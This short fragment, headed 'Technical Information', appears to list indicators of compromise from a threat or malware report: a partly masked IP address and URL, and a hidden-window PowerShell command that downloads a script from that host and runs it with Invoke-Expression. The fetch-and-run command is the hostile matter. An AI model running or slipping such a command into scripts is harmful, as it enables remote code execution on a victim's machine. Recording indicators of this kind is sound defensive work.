Technical Information
- http://13.##.13.129:80/webservices
- '13.##.13.129':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden Invoke-Expression(New-Object Net.WebClient).DownloadString('http://13.##.13.129:80/webservices');' (with hidden window)